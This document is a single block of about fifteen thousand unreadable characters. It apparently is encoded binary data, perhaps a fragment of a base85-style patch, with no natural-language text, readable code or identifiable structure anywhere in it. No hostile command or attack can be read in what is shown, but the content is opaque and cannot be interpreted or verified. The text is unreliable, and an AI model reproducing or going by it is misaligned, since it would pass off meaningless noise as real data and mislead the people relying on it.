z0in9(oGV`E36(+r@8@x6&s+Xq&$FIAZ~lKhk3W0f*RTDz=cb-L@16g89((q@f&Y45 z&)M^C`mg83pFMBwe?3os_PoshdLDE3yxBwl?S0*6&->%)^BBocLGj<#a+mB{87~R0 zmUDK%k8+26@k+#epR>b3Tko)E@*tv}5eJX}JGump`eI3kXaFg4=_#;*4b!!WS#mET z_^eWsZ&KB*)4=Pt-OZ-whb%RghBSW?IF~a+h=2g*V;Sw?V65L`W_IUG^Re$w!mA!8 zYlr-*`%2G>z^k5Ltult0f#(rT_Ra=Uh-f8cv!yTI=+i2E89Y@KP4D=69CIkf`a8ms zK#R1j=-cpD<3GZCQ4W-7{KeeFD?r5)lm~JAby}>nQiBySUpuEa?fk{gb^7^?)RARW=aqdJV~J`!F8yXa9;43W^t*0^M(NUT%<-j&0xFZN(j<*7JfQ7NTEKuk zvM#-MWilc)4AA~kz|CO@@@>hGIw)3)>C@(x4P}dLn*+!acJOmS)4trobr(uDRj$^8 zuP?{Xi3`AcS_Ey6#?;#-9_+EZ=a|6)%Zsw^ScQdY*Gt;I3Y9tV;}JH<4RYc#k?jN< zHf-LzWO76r<6v!n}Mo8_-Xt{b@7Hm#(AcTnG%idif< z%tI5^B6g_656)@7QN4!--m~aEQsy*$;2m#E5H;aT5_}pC0C>!MaZ#PpG&F!;H?=NJ-s2(vyQp7%Kml)I-ZR35jkI6Bk z;LF7R`IGDb)AkR`zR!5*=y!zf8K-M@>h91$+^^KX&d zX^chc*$hKJjUaxJu5Z>~N5?x|*V(pI$rxCTtIenAAXO*eu_j@YC;%}A@w$icV2l30yOauv#LW9;d9+{gm!TV}@IS52>^ zc6`-herobyPF)<0Iz!B8M(x5Hm!fIbO391)Mf(XaX838(-Z5vjCzvaI#_YtA7@NVI zC%s=S)$j3a_Efn@)~{sd7{4^j|A*=n=iSwnQm$)(LTr!9%!m9^*hR__)gMam-d%0Y zN^$M?tT4w)Gu4|tc`lL>y)wf;Q+<1Nu4DvyMz=OkGD@YccuB2zY z6_JA?)?KPI#Y#ch8tRqPLo~*)AG2i~)~jYjvUbf;qy-Zsy$hRHnzNfT%znloP-|bT z<{ObwOd5-Y&OlPcH_0e`En5>EYybK@0nekqBL^?9+jaJNG(H@LnDDDgOf%aI3&`;o zm5u3KX&>1qBtu(f()8`W5bFFZ{aI4-5~f&?_#Q*2B{C28zV#u^Am(HH!yYZ-&X}%p zsrB7ue2ytry4}GQn?{+l+h=;56n-+R0|&YMjR};;Z;& zqCeN)j;OPCdHE6K)fjw5{`(MQ<-8@sJeZ+?z#L@%fbw*uA;QDJ7opS!(^m7nC=)GF za($(X8!RyW&4LUQCP?we2>=jsk~u?4jF=8MLDw&@zTy%7f31S{~yd{!;V46 zNKJ@<2TR~K5)yM=EEo%b-rz#5nKy8p3z7n?I;kNJ)^vUrvAx*_=!(|NV)K0IXVs;y zH>)={vB2cw|G=Y7H>3}&WEN*OfpHP%e>Hc7CHE%f9tb@YMrQ{T^7+ zlqL`RmLAg3)DeC$zvKn-I&omde^~sRm|V)2@f1b2JGt1bkk?-b%%T4!)8(WI!o&2CxSZdM@@}kwmw;hs|Ba)9V=1UC0+vO*Y_&oZ4R^eco<2pFh zJ~zr&(H{2?@H=x&m?O|nXsPArPlsd*oR;lZCcrM zBjjTyGas$xLwnyhyHq{i9Lj3WYktR9k@hnJ8LISQv6t{=*9aPD8YE-Chr{{&;wDdW zNpczAom^Tj?f0bmGyTi>0*uZ@Jlep-?S0zv6M@b*q<}r1wRWD1>t-+q@g?(2uUWW3 zzU&8ai3$7cwP0o*tQ-7@b*wxJTOai$a`~ zT#6Oh229{vOv%gerdpddRNi&|l#GiDtQZqZ^wlXLE7n0x`&}NK*^}z`d45`5;bPxn z-_r~-!IRZ@$lo6keN<<;NkH`dd+b}d(-CHQA*@<-t;z?tMAUxq74*4xu(cdCq71~p z-EG3UX2QD0!QXw)9O5<6pG;0uF^irAenmvBSL6H$Y=_Zxa6Znj4(XcdcqNV$cxSUA z%G~Agd1}xuPC;w>m8Vcz>mvLj>2i2@h^f$2z!wPCH(!y*he@FwwyZ(0<-lu#IpD&X z_|tX4t5M*qP}T&nP}rns2~18)Bm->ka}(t_Ql54HE8c}3zkcQb;!5cm$7UB{C4g;i5AWlpk?}Kjo)(mS;4_Z6@p&B!8#X@a zALVeOYeEdP&BV@(erN^Atgw!VK9`>9#5!mX>&Zj5ptyu#rE z4x=pmKd|pH$~*XPMXzn1rnUXxskhWIO?~bI;Qmf(V`+Tv|xYjo#IBpT4)&Ut0%ofVzr~s(pCLNbv970uqf}fs=u=l zw>&l1v8K~|v&dxLE9iT~?rq*}b>L*2ihlOaL_cFsfdvKZtCom7bF(*qGwz?E5*)P& zSR%8C#HGjnJlS05_v)}O8^3Dt&N1Nm1n1XGjKrSa>p4lSJje=e6WZq&%^Uhj%@iRS z0r#DPx%uK|`c@Y377AU|7tE|k8-Vt@{0B4l5iri(K%XcrGRc4r-9@99w2;;2_xxGZ zb{jji$SZKGOl%la|GR zSt|yf;j9n`oE4j=2`4Er1AJjjNP{|N9E~#8db^=r*PhUgt2==CuqL#DDWb}NZeTMaTEo%wYFdl&-gvaq8&h;da2e@!^LB4{*TBo`RWMZk zH#(KDp(TsV%l$(|eO%54oHaeg)Qgrq|R5{Ole}NAmJ)47<__ymffPpHJ6%YwOND5AQQg z?|pc@zUH?i;C2Z@b7OO~T-&DgdrbrM%qK+s-c&@;)AGGPOUsvjwtVKu?A)31r4BHQ z4$7HfJrK|IiARMpZyBEX!O1gkV~!N5WqU@U&&aPSs5M9atZI|dyU)YXxX>14G;|h` z(4!xxNt5IBh~$-UpJKJFFOMhprSv1JwNvV!S42h!p(Bywdlc)MljK&nUma0w7uT&r zZ&@;uh&j0oyq*^HBN93?23}m`PU6rfjHlaP!AwWOp|RhL{Zl`UtcVV>h1Jnd>GWsv z=}%>a31j0%Y#3Rm_%YyF6^=am7mn!m>VqECm#!Px0sCp$Es@blyti6!cTCZ}mdNj> z{#hd%=Sn4KXr5Xd zeXNI-n+c^!T1DUMv@%QdEr?uIG=p2x&4G&CZ$jya08DS0JMlu@ue@mgse|5wb+paR zkxOx(Cqv(zNZ3nk7D%edXVP!ntLeln8)UNMMnu$|CiLVQcHm+Wag2MdN*eNkEOuDT zIICU6I5G|}RsS##z^^qwxJVkXJR#mL&Tlt%kPM8{Ty7Ya-A-r{3Ok@fT-)_#4PrRh z-jMKnLEFYyS;SrbVRE;+ma>?yT}@n*r48#s-n>x_S}$hwd1y|h$o!`14ViIe+waXl z(sygyj5tRcO~5(HAyQx(&5qaV zP1CRrKmzKRys1vBN~L&q#;PVw(|lDkp;pLs$lQySCMR)(;637iDTwDNFVYrdbvU^!5wBk*Dy+L-+X0IcuLqMux*-7ZC8wf{m8{Em1z1O5VXB)S5SCB&|uXB z6CGAQ`VKNYzBGFrKk9@>Wp1JpIV%MGE(^I)n|owuXh1FmuVQht3$})&FkgHxYz-OG zbwctYXi3G;k}6=Y_P0SxY6E|wpgajJDFq`b37!O_>fO6-%CI+~pIO06x-QtiU}Li& ziWM^6l%dapC?DFw7mUON+3a&iNp2SMzG-lD^Hhdft9xKK3WCws20PBKXc-`1KZG*e z5iP@iXllA6acUVjl)*RxD@11EUXsQ3eCg73>i7O^OfyI_^}WU5Z9wi#s}ZOpO%L04 z#~216{?3e3LQ1iY?SCGaHEeY4JMkP(Hex&eEKd^p^?NZ_gyY6&hCF`MqUO@ubJEg= zH``135lx|LwAI~nY%lh~Zt%%TOOU}^-G_59{*X^oUk!v{+e@`C)m(&8PO}ImbQlm1 zNBz396Tw+SpVO&r+l^kpg2696WNx-L-)W`@Z8NYvd`YsSg9ze7!hOPBo`2U@HPBb@ zUCG#uE*jggdDXYn`eW6!K?m!FuXXY*c*irtM&y3A;>`3A+w5rWHR~XKr@@xgL2S}P zu#w#XM051MqMxt4-;?0Ke-$6Pf0f}w#&MC%D~Yfz0FMv(M@LbQ_z(WDlgL(-Jue)C zQ56%W))8d9=I0}Jw-sR`!y;`)U(iUvn@!z6F1dR~Qk-r_Lr1qJAnw3a3&Z#-?s zA>l8T0oXbIs+2Snyg$ipLeLwVj^Z)K5&WGoR z(tHNxy93ZMvHkfOo}73ZV<{u4D=A1BQMG*`9XVP!UNWvlX24&4^a`vA)Q-y|N79{O z1JXMUwp1w{@=-go%On0;IhQb{ZLkCgsM9~qq^R?~188qg6VqfUNEpqO42v%lncZcQ zJph)TGH2!7#EMCpEBJ@-O`?8zKCo^ytC(ToVv9y8x#Y|_1(UDJ6T?y4@~cl#9|h(9 zia$hWgb1)oFVtz;UVzUQvXw2R{ebuB+QfG73^Zu==xxY{pfKQfx<~j)AXYvZE}-b( zET$~B2V=t;+m;6eDpQt$T#r$tMSwxrIC zz-B2M=nI;Ei!u+==aLy9EORHq$So9^ItBK#ZYS_gOqnC#M3(0$mi+5e4Dh;`9lMFc zXpd9$dD;!sm00Xxx){%!+lk$|f+=~`LyB@ktpby!?Jz*A$^g@(K3_AU-(z%ulfb3#;FS0RX2fX!kqbEZ z{vS(&@>j!#etiK-K4{FymA1Jyx%JQr7b%atUh`k_CyVhh%Bdx+ql-QBa|{}f&Cm``gI=S< zxxx%iq*vfqWfc?b7kfPP4n;)_>iFwX!=R}*rf=M`8P{n?G=qj7p`JeT%2mv0O1+^+ z)2_vQ%OXCgUN-cQ0y~XQKp)^v(Q!=QWoDX0PEFH3{m;M1j>N$zPJ`wkKW~U5%dpw7 zA-m0v1#1a0^u^Pd!#u>(hmBoDQhWg!jnC2t#fUP8-qvm?nm_uQw@NZpZF3L9LrV2` zbEI{K1z)IB5+fg|QaP2B&5^%N(<|Z%szzuuHwpjhW0JdYbbhXW9;oh#^ogOzw>Sr{tjebWC3G^Cson$I)u_$+vv034U&whg==aqj8SX>KNpQ`U|1wZgU?Iqa}CD zsAY5vxJdW|rO#GJz@|M)khM_XZRjQnyC)^`+vy#3w|ebaI>a<3b|iIDE5)*p*L=L# zK=IViDLd+ko!)hayJiX70pErr9h^6n{_TEq!GV_;paW}<9eD6A*pAZ@=@k< ze7}&?c@wfjlJE`6O>*?zF0VPJYGU-gqW3y9rM_F%Yc5}?)L`gbkay0=hFX+$AZc)` zy9F@~Y)1t$BpU|j!M3pk-em1SiT?(aI*3wh`**;z2}bA+Z6{Oo^++7#>9w_5=?Gfx zU4gk)zLv%XQO$z-?Bcr)k0sZ%SLrzS)VanZ&(G1F26GOY@%uPivR1dv@aEDLu4?*@=Tw z^9HrjOIYC;YfF=}NdxJHAJ)N21zZ~9I3THH5qqN?Bc(#l%Nf2{%vPdfhx%lrf7gG+ zkrHf)*iIbb$P3sMY=j&*^@RFK&wcO~LfUQtn0LpYKjcUm_D|w-|6@Ek*D^oo79aM! zwYorjYxTpcnBm14V9$meZ=(J*Xwdwy`6)AjbIF8Nd3M4I>yQ?o z$EUy!gSa#Kl(A3Wfm|A+dax4BPMmv6-$rB7Qi3$v%`lS!*_0nmfxL>?w^R6aT2q;w zSOy;D6kw!hC;ZdDtotAEIc!Hvma*pzAN4bRGe)Jbuf|H6Io0b3O`wFAFf9lr0=yUh z%U_~Bau0IWe?N2t3=w3w6}%ek9?ID9#8@Jp2#tI!seb`STl5!Wz+Bp9CuXMaIc?7- z;hr(lTyj?0>mW~pNAbD;<(J_g?~o5~A4`L0=I=wd;z`2DHr)3o-UVDmOuL*GPK4rM z4qsp2YG2P)RbPxTLLA6L48I_iQfWzIkh%P-x~ppaHA&T%3OW~KPwF`jOi4c)OB_52 zyzRMTM)V0&h(`6#PFU1jQ}nwz@>8%SCAG_A(IfND9uXsb@XpnE=}|HAp{ijQjrDv+ z5hJq`H%_{|ZdGd*BS9Q12pK6-J4CX)t4m-tgv5&I`WTMnl>yVvw|hM&zp~9FX5Om2!1JC zhhw{qG~P&if}RH*p`a#jHOZpaB=u+3=6S_xQ+vC-F`QEa{)N8y_Jj@#>W#Xzy*cuLYJG^#EpwCfjg$K4*QVk6cDeFc!l0!NoP6Q3J}8@kb+SpT>*`?Jn+HiLG312>i|#W=9-b5<_sp1)Z`s%v zL%qb1-dgQR+IIz_@;c0bPnp_LqVJoczVGSwkG^kkMV+Zv+r}YcvJjlHHmrCXalhwO zOI7rD$ECMD1 z8pC5k?s<&osTBOLpQ2-bHCW1LCu*ne{*>KAkGa)jE7fDmrwrIrrJhkf1u0}t9A+>Q z0uT8>Vjq~N3c*Ti)o3pk#RC+>5jkY+#|TBF+{VwY`Hafp|Jfd0iyqvKBqu8tefrEI zTKCc4f1qu!gPtEb_|)p3A25KgSG)VkTJ1oxq;I>SK_i*{dPfo1Ny1`HK%nw5aB_^D z?$LDM9UYp^JV;vf_hxzX%J_W9EO~JuXOTXf8)$$86F`ex8;D=XE~dQe0GG-FAMXEG2a}D&o2t+DAd}+g}Ka|YkyLc3f=#v+MB!buzsN~^TwJR zYhx7sLXvqy?Ty}fkQgZQkP%0&tGT|G$}Ec&#EvaoD_>jN;-%{ujUlEp*9*$8Rm~N- znQFGEXL8C_wOiD4K1+p_4ib)C0$WLB^&I^UuDX6Zdc!JU_vn2IY%z!+8)blLZ50|< zs?W0AB>QS81{&NrZKRu`S}P@I=FReJ!V<|)n0QP#pdEa@afSai;pPB`6?t=L3F5Gp zONbr>0_nmmriU5mu{E&i+z{2Q;lmjCnH)RvGvI{SzB^?75CI4Ayis=GfE*L% z`r46&GCAU(vuD8y;j5D?YAS0NDIcfOvOWo$@nmXDn-O}TaUf=})$;3=neeu^<9>&~;z#J;f@uGw zO!?{`ogC<2t=Ze9 zmH9cj@OYz?6XG!blVAkxez6de%B2S_?0XYcb|dx8hRGZp|L;;8J9ArWlO;_GsOr zu94#xIU`kU|Gfv~dQH1ryTd(S+TOsSme17j`ZIF`tz$c_Q&ycL*v|jII%e$afaVn= zj%i>}zxFTw6KKi9<7jP+I_fQ`mgyXFrjEGX+#b!@ zI(qZx(K<`kN(~wZ&?Yg zINA>j|Fs`p5s1%V%M#RnXv}aH>VWk%f`uTyKo`=3@6w=Xzz0`T=kXepI9Lol-gD}B zMVF<|(DbbGdg|yXOi;c_&4mn4>+_9N5qTVQfoA5~|GDR~lbViYHR!FF*J5FHbe8MD zi=1>Uc2FBU+^F-vBvuEwth+qr^0LqpE7NwR2gu|zvsrM7`5C$R_(mx|#0Bq=V~6fg z=N-&4LzII(4hY}dWfSI|KG}eN$ZSQI>FGZ1@%&@ObkGCAu zt9}O9F-lbXfK{v9v*G>?doPhLc|`s`lx=A_^!5L6uz$gC5i+bMj$7RSv*CjcpIvhK zB~Qbq*a8b0fn9_t?UTO);+Ky1H`Vh~SH}eIK5z@P2a*RA*jlEvfjrh&>93cPHUQDz zDMntO;<_=%DT|~$aN)r=kr7WZU8NV3M;n+vr~ex1jScPcH}C{hK*yY$I0SFrU&GOy zYoF{oQ;*QnPX?q~X zLP`%@0u*a9m<@n%4GZR$LnMD9oF{#Um4?O|ijk|PJkW=eBcDz4={zjKGy|v@**Z-l zEofWttC1-kC>a~jm^XvrLS<4Ll@j*g<8s0>}0X5c_dJ zP-CiE4r--X#7HGaTBkXG5_%rRYRwDjOP_a;lU3lfVYC zfmOi#BagcDJ=&OFOVQuv0Ad9&W~hCsZK9cqnAoG)Sx zjP`waNNfo$0-}aE^y&zFr(cfK{HJI72&d2>$oB0GeVFFB(9dZ9tNTzVeX=WO(3;E^IfMzr2Hh!}`s$|46j^}(IWX#n{Oq0}mV0X9OtUFMh>mFu)XN0Vgdutvde~uR#MXOyJ$%A&*kS20iTpE!w4r|g zT%H+6Gqp~ag%w=!E?{?Z5<_!#jW(Ip%`0;8)pL$awo*#tOI(`jd}FGV<%)wm1;3-i zppH`K&a*NQbXYq7-*Z6Irg^+35EIa?CT%+dIxp~MZNCj{1Kx~nPqdw!h?~`-hr}Oh z=;q0CfZHMmh1EiR3L-yFH10YuPfGI7_iCOobgm3=xQevj9$?zv2tbmAba-+iGP4hu ze#)nj9J%qNl%esFOynLw56s1wN}bi#I;ATb40}q!7sQ0P$W1d8G23=el%M1K-_tq& zy48aRILN~6?rUq=z2KeM?{Cn;HOTp`$S9qLIUJm=4#uV#yeNL2G`V5G)j|G2<~Q!E zW=gfL`Rn8JzJ-(wnbMA!hb&?>?7xRR(ntz4U`e?|!uky<)u3D==|XEHCiJq*jEYh! zR_2RkWOm0~A1gITS{x(cE`>(-bSR8cBhi(bDPn-MS|fXFnmt=Q*B1xe3rnF}XD00D zfv@r^eraClY1uTqT^x`N@UlHEF9*|wPueM8{$Zuv-m(N%(uE-=2%ALbo$|#WR@!VW z+Ct=wDiFfjB5g=hlnh^FS>5@~dt~_QdkGl3@3WYkG~TBQ>yQksU5IR)BYUiZMFGwT zkyFnTqlI+5)sO&hAK!O!g68)r93_yo^Nw2uaFb)~??#*G3ZEI>A{nuc+$ti5k=Dju zH>`ZZhm~2n7Fwn|<-`vOEm2>>;~UN0kO7h-9g}3C1lgP0tyQ?77VF`n8H{=4gVe8O zd(#HF;ClY_nOnxED~gGd#(w5j7nb%7v#b261(w zrCONFwhuuj02eb~m^PB#!ekjRBMD$1DJ)6}^T_qZEXr*`dMk70tI>M!^1*hn zCY-M1!pBw{()2zg^~$S`T+!k*Vx@0k%e24_@!j#jSr!&lfJ;6jtxH}sM7ihZCe8&W z7br6@lxe$|-8lgopKu^dqX>2Il|KXt&U$2#F{9-Q+y~qVu!wwOZuVHjs$$p=th@p& zPRYC$p#^*=Rlk%cMp;-XcEc}i2*x}fk6O$=U5na!c5mFC&l_V-kM&lSUw`+V(Xsx? z`{0>S=Om8y3(V`rJU!N9iUeWiXs>|(bWWorMb^#HK0#NFcy)~?*&9P#fX?fN+=e0e z#}{TGXWtisv+}Xrbt80LNLRC){rwoptr;fS=Y+-_X-ppaNsNyVROYY1+Cj3HhWLP8 zy~kpDkBma;N3IglSy`1^h1aye+%+nSO#s9~9&i{{^n>SpC=b2E}B8)Q1@H#g! zGs`Pu3omD4o1(ROHFO&q`>0bTQs7iFcj{updg(Ho5NV$Qeij)e-?e2+wM2;AJF`|^ zyVCAwaub~{tiCony*oH;7%1!a@JqUOAGjdY1? zyGRN*g{pFWqZVN!_LtUZ(QjT68x-a}rnCYU3?^7DAXf#j5C0fugC?87DZpRI4l>1C z()o6+rCuUF z9^V!BrC2TW#;+2#k$q+z-fZCvycx%J#aH^bn#oaJu_>z(rRRc=_!-B1;W?sHO!dD{ z+u;s1-XkMdWNESVB+8_%OOw{PnBFZyX0xVGcVM@u2vla<_%26U*E6IIdQ=NyC}M{% zgT>q`36c1d55>Q0`;Aab=r6;`Y(y(4F2p0v9d;@IK-=UZQM zx};X=-Gxo)FIT7~bs`_eMJ{4}UC3@iHmZ^z%(+du&7EYpaX_9p&Mf}g2m54J(WYxQ zVV=q`9LQER=QI8dWySpkggmPu>bQGOM@RrVZ|l>ub2~5&FZvBf;<3%cwi_1XXK{Qj zK7aH!l}l12kC*d%>cOqsd?)f|soH+1qnYNjl%ac_kLbq2&^o`yc@KH6p;OKtT~<#z zcer218SL?@)fPm!R;}$9;n@YkZ_{uEB2KRKYnHr3*v3xzq7lD`%IojX?UOGEU)B7J zW@hiZjtwM9d;pPwMQb}nS5vK0i07=wXx6IF<%aX%V+**=-~r6VoE~uB?q@|{zeZ$v{X*F!-6#KjI1T;oP9e?PE5rn(wP~x9 z)%v~7?G*0Nrgf|`VI1~6eIM)x z+jtVhXDi(reUa8j2jeco_ZCoFIq{i}Eg9SWsf7IbUY`6Zk&yTBxf8#4=Alh6uT37r z9ELR|6}|#~m~u*`M()Mhqqyj|yJio&sw9`|6LY?=6#UsGSf>!zZS6xQJM;#8k`ZF1 z5y~p>h8OV_YOXv!6pbhqB30Azht_W8RX(C05L+HOSX)=ZqFJShr4u-UWDKiH@l==3u^KP7(`n1NT; zQ|kqjfe`?X5hfh(hb5>uxr7`1wfx!e;`+^=#onRD(zV;%8sDNdjg1%h%e*EZv2Anj z7L%2dwHFFZ@k^pMkepSHn9GIrR^iW$=lEOwTzAIW*HPcU@^Aw__e<*^m;XAPy*hgh z$-D*Gfnt<&??Ym?G$>RAW+%46g2IF^wNy1sZf}}(j4euOUkLG4>BdS=q*Q{x#jRvel+%ug>eF>qV6|@qOz#w zSU!9#c{r~C8t6L~Z4bSQgb$4ssP+mbivxx$kFq{GlMs#GH^rxu@Y9H>VM9rS0eGh$ zKyFBaF@)TfCw1v`rp!Z|H2bJUhlDR1vr0>8KE5*8^8Qzu?i*t*&=j0;XG;~epZt5N zI14;SySYGqUMg&qDWR&oB$Sp~Q<#M)-NI<;5>dK3u#l1PrDN1fmbhoL%qmHJSJa+| ztVr~&xG?47+Klna1*#ys=c86`$CG1mrOLSXA`(YKrf_Q`U_#$bw?^8C&=uark`T z%mI4e2A-{$79Xr6buE76s9>Fb-^*C3%hmO0`{e1h&0dad%R=OaNxHV_dV@q?79*Ii zDX0Nw7xV~ldlob8{X!>3_@h9#vYlJ}S>8_hU^I>+^fp++lC25Kg4JILsp8Urt)2y9 z@Co4~F$)p&e0YA{pM-LMwG8WH=`Q)pVc6gt$@UZ_ss1bB6EO>t_${vF`h4*dk!C5^ zhm!hY>%go7o7fkEt~*a!rCv8aOl`%Kv+wX>^yzQmn8YU?0}o?+`!!DO`*dBQavg=g z(z$MaAlVit-Rxq!zZNU&zZK*Bm9?oYHw()#H}m1aW@Z5U%!7zOkDgar`;Ex=+$I$J zi|Y9Sw*6btfH@zG6X>x_8S*EVUbgC^VP;QGO_ujcxoBNtfA(rbt=Jmmth&e79m?X- zdfDr@GK~F3iM3v}?yGhCkg+^zFb(a#RepROTHW^~{y(`6w&hN6fDYaued&u@_eaF9 zd|&um!8!^awV`CMw)YuvpHKqiLHta-_a%YAa>4CE?d8XYo)npq0fgymdbz&Y2{Hqp zqxI$sfDQ*+T?*z5`tCt&w0`zrqjf~*jL5;`YmToTu73*r$NX-7z$6{3)kxR6TN-p7 zoWIIPv9m`JO`IFJMyiA_zECQKCb9qssMJXBY-^UqIZf!y!F~Ke{Rg$zy0^N^Q9kXd z_iM|6qMe=ie7YFc+1ZItr=3zEutwiZFNgN6#q~VomQ0GU4SjmT39IuD6ORBX6Oh=@ zp&GXBD&-Ko^8xn{m?yO9L=jo9bPvR@2!dYP4 z*ho=ZBO6Y%0>FAFq}K~iP%Y>D6Wv*p-~d*luZ#V~XW+onV9D zC&6k5JmiTbQvM1ysOjMb@ACYOyz2IO&Ji_;d%xVX#uX5?Srt+v@*}Sjo}gp+c*cp# z{WjRoh&}m9O_!jg1$JaHCC|vOuUx?{a}}`rJ(mQo^hCeyJ^O7G-}usHuDhFfr)KXH z^2dmdCiXoZZJR;4((}@Wi|QW|{vwvQ?32mx_hVpahGuq${O#~&PrpE{cEq}CyD}6J z&-%Ii)XE~Z!gXmN7SGFJ_Xc8JMQq&~O^>GcLU9zomicPdh+8idD|}22IrhO=<5qqV z{Wb1SF8MWTwOGD} zjvG9^gIG6-Y6)ORe*ka0jJ-6F<1(NmgD6RntAf?E9}8&qrY^{FRrtiMJ2Fn6wKd0e zx};lUUB|W-vHH>qSAtJp5-owXrpfb|-;TFjrBL60WjMvR9Js6GOToo_15ZAAkf_}6 z=N#h5kFO&n3!fX-aij*{zkih@PvQ7}Y|mhO8r!qj4q$s8+jH1n!lq!m3)>YqpRVzA zT+=a5$266zcjJ3nAjQWNkYkI+z((#&E_q3QarnWSXvs_pWmIHPGGNC~pJzLJUPNt6 zwp^$DyqPb4pqcgtW^|K}QSN{aZFt*<-6Z^AM)ZXe+_3X}rsO$!YPdzoyKRTP zPi|eQW2;;uyXCfhw~4Me_RHIJs7=uYOXjWra`e`Hx2i{P)w#-H<7eCQcKCPnA%Z3j zS6kR;c5tr0?GV{G9M!nCcrtt$rNgI>FTn52(xDx&IcG-omDvE_vC?(h<>xMG5eyQN%(xoM*?@C^($G{<@c;{>H>)@u06w zgs%iO*`^eI#$ufQRH5E$624P0JZTOXb9aQ9<-L~}bGC;c^UoFqMrzi8%*k`LyYGSw zC-v@mAkSSLe%j9#UKRe>|Ajv&lw@B%vZDU4jqeCwuTNg`dE>>xm+OfmMmgcHs;ON2 zjqnS>AiN~%U~4?#i$gxkFOc;)GQ7y!j8*$8H{>6zoSNan+QGC#q}g2~iprJ#>i0BD z4v}owJH8qHcD(i7?zDrXX#FGp?D|KA{hq8fKZt)2c8JSx&rQC|-HUKnFYd}6-{iNg zeNO&t^g(}e#)7rE$Z@!!?ia$%LZ!6D{pR~`zR5V{_vJSWC67y}7waAoKNlbL8F5T` zU%@f^`}Q{<^bxDI$=5`z(G@4b%MT>fKihDvdznARzZbp^HbPFuu6{)2y`}3A?e|n3 zrTz6Te5ZXFVJd1r{(dKNj@%m^BXq2Mg$+LQ)f&v4x48X~{}`|${1P_ss9%`=>Y9R8 z@gQ`@gE8>M9&e@@%M7b2&+0Aip(f~9R(jS>T*JZ#FgNk1xjB_*H~1t^?z@F@OB6wx zo0|A^j!!p)3sx7@fPafby|51X z&g^%{wJW!~k3sL|LxM!lnw_|P(gArfF)Xc4t4XW9#htbW`2c(m`5f!`a>qKbt2!O) z{KY;IIVvXSE2(SfyWQ%heWnCYjSV?qUDx6%bQPJKutSRELi13Pxrv+b23MS9lsUw@ zwH$gj$dPmLE^oiUk!pNO*k-p!^}FwW1-S_IJcQpbVEe!8W2uo>PQ@R3ZA(-iyW$C2 zC$P$)BnwVbE^jo zZ?QN2;Qa?o5@n$J;~e-KBHzxK4$yPyd4HKpid;Dx4}UMBHEUvFm%8&RYAa)Gw{Oaa zt&^M6t#(55y~S;p@=FLLh?-f>`>?QoQ_GM95rtAPjj@C_o=1) zXBodz%XpXiZc*Jfs@a-s^CJ>GFp7(QONC|6WKU9c+fskN@BgLS()R~OW8p&wH0>r| zGC1a9q?UJE-a4~6-*vu4u}3NUmZI$%Ae|tG!r1)%Rw?E2rS{~f<|fvv``#E!-Di^o zoa0e{|9Z^dEIe*&vq9UB#-Se=v-Q7TyHNlV{P+`NhrC72U-|n5#AShvfY@KI-z)5J zTa+8ppT}C*H^xDp*1+DC4XHjg(l&Kks#h(*sga#iRH_e>DoFIqa%S1X0?8j674|NH z4-l)x2yr~N=0*E@G9Z%nTX9#Whd2&EM{uflYd&)~*uSU@*reW#+N|~o&{MBr79*R( z@rJQa%miK$Wn`JuRWA(eaC5etYNnl*h;*e!JX7yFSo~@P=T!9+Ap#$W_|t+9d|bTa9~wnqwA!VvZ^NVid9Ri%4b{m0QM+j3+;t-gN8Q5#JNy6L@!N zEP2mGO=NdfK05^8XHTrMD%UUqq6X zVq3?Ai)lCPPkw4D?%TK{;!g3Rcvt)pVL>Og(<}h%z$>`Nf*zFBX2;lm1u~sBya3#c zb?Kt({Z!7Crfh2VHzy%hQV3g{b52L@p74L^KZ1Sp!Vmf%_q*`T5Z>h9qV5BOj6X-+ zCxsUDJqJHhowpkv`4<&t@q%tWJh0j@*y^-B*!L9p&KLB&hBE9^7W6?QA5E1WAD=Hh zHlBwu1L;%Ayo$yO+@e&~CEKd%!RqI)T+38a_F$$XP54S=ci-kt-haNr1|3)F;J2&| zAM__XoVCm{zKb8^%e8H0#BFWybcwB{*9y8$!&8fta=+uMp!|O*dlUGks`L%`ZdseA z>6)aylq}r~ZJ_L%B?+-@3KT(20Wk%H6cpng5VZ(6h+Eo1=>i4EjZLXb9Y@7Maa_=u zNmNEw=N42P$8j#GlP+oVJ?EyNel!1XeqZ}LH+MPb+;h+Ro_BfP(V;0LlYJxMt?!tD z^(k7znWjcEBMe0*p%$`3zWQbL(Dx1(5{p)QM)+Ibd7wY1g!ck9xz(->*8_2)&8`j? z!P5h=;w)H2a%IA%og=s9U~ifRUkY3!c&$b6ouYR^UN9YZwlk!z3!Xb=6K=*nZZ*Q* zmoU#Es1XQX5PuH@?}^WI>+w4hQe)b3hXGimrzs1y>t9Lh%G2c3sHE`7z2Jtok8Cyp z+x&|`^fGW~WbLUyq-MP%Td{6gJ$5U0N^w0HV6|cX&xwwcKPa^gkIWB z9h*m&Z3Mk!ciXGVfxfs1dMI>|h8WLT$7A?s{etHpP>ag1-4@nJ)eZ%bxI zCGjm}^42>oOUeB2k0s+96HqS(sWr#=LI&%qS(&-sCH5sV^Oizh(Lp2@o%Um=nO*dF zW;+9I`YrZDr^#MaGxxAW1DuJ(V!V=~n7gr7Vcq}cF4(Ce5IW##{63B#(X*ftau5&t zUKnww24j(;C@IBsX?}0VIgynEofBGbOW^0aA@45g0Oax3;;X~pV!=lsCFIX;w7Wi8 zS<41y0Qu=g>W3Q={8X_Ro;Lj4gy$3f%kxpf3fD8WCBB~ww*;o!;g@kXU3OEgOkncH z+Z7?YlP-IvcC>F1wPaBltVt7y50EjOpml5J(D|?+Y-zM7K-Z8eJ{?v_Z)&u&pKt+< zpXe~LT}p`?{{8Z}PF;|qBy4Q4TUV{+b)Xa!{7oL1ohF9L1i(4&vCpedD765^L3N56r3hz3yE>tLD%SE?WK1kwu$8JpH^LHXG%O1YpcWJYIdXy?M_M|X zpxc)KYqAFHiGglkWC(qyFEDz`f0X4JB4Dchhi+iki1G&Ee_pj}dLw2^sGq1;6Pi>d&Vp`T$(%Ye%U|n)f4x2oA zXK0Mlhq<}g%*#4x;B)*YrtFmQHXvqGXJ?(Kt-H?MhJ2KrK%Z!#o6OKnlA-SJ1j^Wi z^QsoXXDdN_!Tx+SG?-VSjvwzK$47cr;J8IPZtltE@4i6dj)rEW4R#+gp$<>i_IPo; zTRPs+b0gl8)}w0K^Q#;eA;wKT3vpa39dGQZ#rfi%JwUowwPc7`Pq6;uywwJD$Qwc9 zk1kM#=Ygts2;^8U)ZjQ>I!+M;)C_Eze^FvLavR@Mh2vQ1SlUyG^HEYcelG1S+_UtM 